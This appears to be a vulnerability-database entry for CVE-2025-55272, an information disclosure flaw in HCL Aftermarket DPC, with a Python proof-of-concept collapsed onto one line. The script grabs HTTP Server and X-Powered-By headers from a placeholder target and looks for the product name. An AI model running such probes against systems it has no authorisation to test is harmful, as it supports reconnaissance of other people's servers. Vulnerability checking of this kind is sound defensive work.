CVE-2025-55272 HCL Aftermarket DPC 信息泄露漏洞

import requests def check_banner_disclosure(url): """ PoC for CVE-2025-55272: Banner Disclosure Vulnerability. This script checks if the target reveals version information in headers. """ try: # Send a basic HTTP GET request response = requests.get(url, timeout=10) # Check for common headers that might leak version info server_header = response.headers.get('Server') powered_by = response.headers.get('X-Powered-By') print(f"[+] Target: {url}") print(f"[+] Status Code: {response.status_code}") if server_header: print(f"[!] Potential Disclosure - Server Header: {server_header}") if powered_by: print(f"[!] Potential Disclosure - X-Powered-By: {powered_by}") # Check response body for specific product signature if "HCL Aftermarket DPC" in response.text: print("[!] Product signature found in response body.") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to target: {e}") if __name__ == "__main__": target = "http://target-ip:port" # Replace with actual target check_banner_disclosure(target)